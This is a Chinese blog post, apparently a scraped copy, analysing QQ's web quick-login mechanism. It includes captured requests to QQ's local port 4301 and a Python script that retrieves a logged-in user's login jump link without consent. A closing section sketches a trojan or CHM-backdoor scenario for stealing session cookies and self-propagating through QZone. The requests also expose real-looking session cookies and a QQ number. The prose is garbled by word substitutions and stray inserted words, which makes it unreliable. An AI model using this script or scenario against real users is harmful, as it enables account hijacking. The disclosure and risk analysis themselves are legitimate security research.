QQ快速登陆协议分析以及风险反思

 

前言

众所周知,Tencent之前使用Activex的方式实施QQ快速登陆,如今快速登陆已经不用控件了。那如今用了什么奇葩的方法作到Web和本地的应用程序交互呢?其实猜想一下,Web和本地应用进行交互可能采用http交互,事实也是如此。html

 

快速登陆分析

  1. 快速登录框请求

 

 

https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=715030901&daid=371&ptnoauth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F%23python

GET /cgi-bin/xlogin?appid=715030901&daid=371&pt_no_auth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F HTTP/1.1

Host: xui.ptlogin2.qq.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate, br

Referer: https://buluo.qq.com/

Connection: keep-alive

Upgrade-Insecure-Requests: 1

  

参数说明:浏览器

  • appid和daid 对应这不一样的登录服务,例如QQ空间和兴趣部落是不同的安全

  • Referer必须以.qq.com域名服务器

经过这个请求会响应cookie,比较关键的是ptlocaltoken字段cookie

 

2.获取在线的QQ用户

 

 

经过上述的请求,能够获取已经登陆的QQ昵称。请求与响应的具体内容以下:session

请求:app

GET /pt_get_uins?callback=ptui_getuins_CB&r=0.70722284119771&pt_local_tk=-1335054259 HTTP/1.1

Host: localhost.ptlogin2.qq.com:4301

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0

Accept: */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate, br

Referer: https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=715030901&daid=371&pt_no_auth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F

Cookie: pt_login_sig=SJ7R2dQseOuqFw5aaI9jiB644Ms5einfscJ5bRwUNQhiODEIvxjXz9Zfl9M7oiXL;pt_serverip=28f40af17263c651; pt_local_token=-1335054259;  pgv_pvi=2505876480; pgv_si=s8995244032; _qpsvr_localtk=0.3150553721024726

Connection: keep-alive

  

响应:机器学习

var var_sso_uin_list=[{"account":"xxxxxxxxx","client_type":65793,"face_index":339,"gender":1,"nickname":"xxxxxxx","uin":"xxxxxxxxx","uin_flag":327156224}];ptui_getuins_CB(var_sso_uin_list);

  

在上面的请求中,你们能够从中发现localhost.ptlogin2.qq.com:4301  这个域名与端口,若是你尝试ping一下这个域名,发现其实它是127.0.0.1。学习

 

而4301则是QQ所监听的端口。

使用netstat -anto 命令能够看到监听4301端口的进程id为9284。

 

而后使用 tasklist|findstr "9284" 命令,发现确实为QQ.exe

 

 

3.点击用户头像

 

 

 

点击以后必定要注意cookie的变化。

 

3.1 cookie变化1

 

请求:

GET /pt_get_st?clientuin=594675898&callback=ptui_getst_CB&r=0.9726726550496937&pt_local_tk=1692729835 HTTP/1.1

Host: localhost.ptlogin2.qq.com:4301

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0

Accept: */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate, br

Referer: https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=715030901&daid=371&pt_no_auth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F%23

Cookie: pt_login_sig=f0Eq6l9zHyn*yYdNjJsUDxgkL1TNffDt*Ek7T4uB5KN9uD*SAQhmENn7Tbb2AUkB; pt_clientip=5c490e1116214b49; pt_serverip=aaa20af17263555d; pt_local_token=1692729835; uikey=2ff0398fd9f14f09281e369daf09808512791eccdd166e64088ee1a9bdfff26d; pt_guid_sig=a015dce2e00991b4181682d886b9b8dae892bd36dcb1afe3fcc2e93945a58cab; pgv_pvi=2505876480; pgv_si=s8995244032; _qpsvr_localtk=0.3150553721024726; qrsig=UfyPCl5FKmlPv-LqW1BONsykudZ*eQuMiyxzvPK17SSFISshoJzQNrOzd3tLVx4H; pt2gguin=o0594675898; ETK=; pt_recent_uins=046df7337fa517d209268b658c29ffa7eed66beaed9b66d86cb700aa5bdaf630fd18757dee2e15d69465910176e5cc0328bdfcc212f7fd96; ptisp=ctc; RK=6K58L1C0Zq; ptnick_594675898=e4b880e7bc95e99d92e4b89d; ptcz=b13e557d01d48fb5f7b394288c304db80aea0ab3d62b31b492354e58b627211a

Connection: keep-alive

  

3.2 cookie变化2

 

请求:

GET /jump?clientuin=xxxxxx&keyindex=9&pt_aid=715030901&daid=371&u1=https%3A%2F%2Fbuluo.qq.com%2F%23&pt_local_tk=1240200107&pt_3rd_aid=0&ptopt=1&style=40 HTTP/1.1

Host: ssl.ptlogin2.qq.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0

Accept: */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate, br

Referer: https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=715030901&daid=371&pt_no_auth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F%23

Cookie: pt_login_sig=f0Eq6l9zHyn*yYdNjJsUDxgkL1TNffDt*Ek7T4uB5KN9uD*SAQhmENn7Tbb2AUkB; pt_clientip=5c490e1116214b49; pt_serverip=aaa20af17263555d; pt_local_token=1692729835; uikey=2ff0398fd9f14f09281e369daf09808512791eccdd166e64088ee1a9bdfff26d; pt_guid_sig=a015dce2e00991b4181682d886b9b8dae892bd36dcb1afe3fcc2e93945a58cab; pgv_pvi=2505876480; pgv_si=s8995244032; _qpsvr_localtk=0.3150553721024726; qrsig=UfyPCl5FKmlPv-LqW1BONsykudZ*eQuMiyxzvPK17SSFISshoJzQNrOzd3tLVx4H; clientuin=594675898; pt2gguin=o0594675898; ETK=; pt_recent_uins=046df7337fa517d209268b658c29ffa7eed66beaed9b66d86cb700aa5bdaf630fd18757dee2e15d69465910176e5cc0328bdfcc212f7fd96; ptisp=ctc; RK=6K58L1C0Zq; ptnick_594675898=e4b880e7bc95e99d92e4b89d; ptcz=b13e557d01d48fb5f7b394288c304db80aea0ab3d62b31b492354e58b627211a; 

Connection: keep-alive

  

3.3 登录跳转连接

 

在上一步的请求中,会返回最终的登录跳转连接,把这个连接复制到浏览器中便可完成登录

4 模拟登录

经过上述获取的跳转连接就能够登陆成功。经过对上述过程的分析,下面使用Python来进行模拟登录。代码以下:

import re
import requests


headers= {'Referer':'https://buluo.qq.com/',

         "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"

         }

##第一步获取pt_local_token

s = requests.session()

r = s.get("https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=715030901&daid=371&pt_no_auth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F%23",headers=headers)

pt_local_token = r.cookies.get('pt_local_token')

 

##第二步获取在线的QQ用户

r = s.get("https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=0.70722284119771&pt_local_tk="+pt_local_token,headers=headers)

 

pattern = re.compile(r'"uin":"(\d+)"')

uin = pattern.findall(r.text)

if len(uin)>0:

   #获取cookie

   s.get("https://localhost.ptlogin2.qq.com:4301/pt_get_st?clientuin=%s&callback=ptui_getst_CB&r=0.9726726550496937&pt_local_tk=%s"%(uin[0],pt_local_token),headers=headers)

   r = s.get('https://ssl.ptlogin2.qq.com/jump?clientuin=%s&keyindex=9&pt_aid=715030901&daid=371&u1=https://buluo.qq.com/&pt_local_tk=%s&pt_3rd_aid=0&ptopt=1&style=40'%(uin[0],pt_local_token),headers=headers)

   pattern = re.compile(r'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+')

   url = pattern.findall(r.text)

   print(url[0])

  

反思

QQ的快捷登陆是经过在本地创建了一个服务器,并绑定了127.0.0.1,而后使浏览器访问本地服务器进行实现的。若是想盗取cookie或者是登陆连接,须要黑客在你电脑上植入木马,而后和你的QQ交互才能作到。可是一细想,既然黑客已经能够在你的电脑里植入木马,彻底能够获取你的QQ帐号密码了。难道QQ这种通讯方式真的没有反思的地方吗

我的感受并不是如此!!!QQ并无校验请求的来源,任何一个能够发送http请求的程序都可与之交互,并获取cookie。其实这是大大下降了攻击的成本,是很容易进行恶意营销的。为何说下降了攻击成本呢?通常的QQ盗号,是上传木马,要么截屏获取你的帐号密码,要么监听你的键盘输入。这样的木马行为首先比较容易被安全软件发现,而后就算你获取了盗取了密码,在你的电脑上登录,很容易被QQ安全中心发现,给用户发送异地登录警告的,因此利用QQ号码盈利并非特别的容易

可是经过本文的想法,木马在用户电脑运行,很容易获取cookie,并且安全软件并不会从你的请求中发现异样,当木马获取cookie后,就能够访问你的服务与资产,好比 在你的空间自动发帖,发邮件,查看相册等等,并且就算你换了密码都没用。盈利的方式多样,并且成本很低,传播容易。为何说传播容易呢?

 我们能够想象这样的一个攻击场景chm文件通常是帮助文档或者是电子书,但能够做为后门,并且隐蔽性很强。chm后门和QQ交互后,获取cookie,又将自身的下载连接放到空间等等地方,继续传播。

 

总而言之,攻击成本下降,盈利效率提升,黑产喜欢的方式

 

 

最后

关注公众号:七夜安全博客

  • 回复【1】:领取 Python数据分析 教程大礼包
  • 回复【2】:领取 Python Flask 全套教程
  • 回复【3】:领取 某学院 机器学习 教程
  • 回复【4】:领取 爬虫 教程
相关文章
相关标签/搜索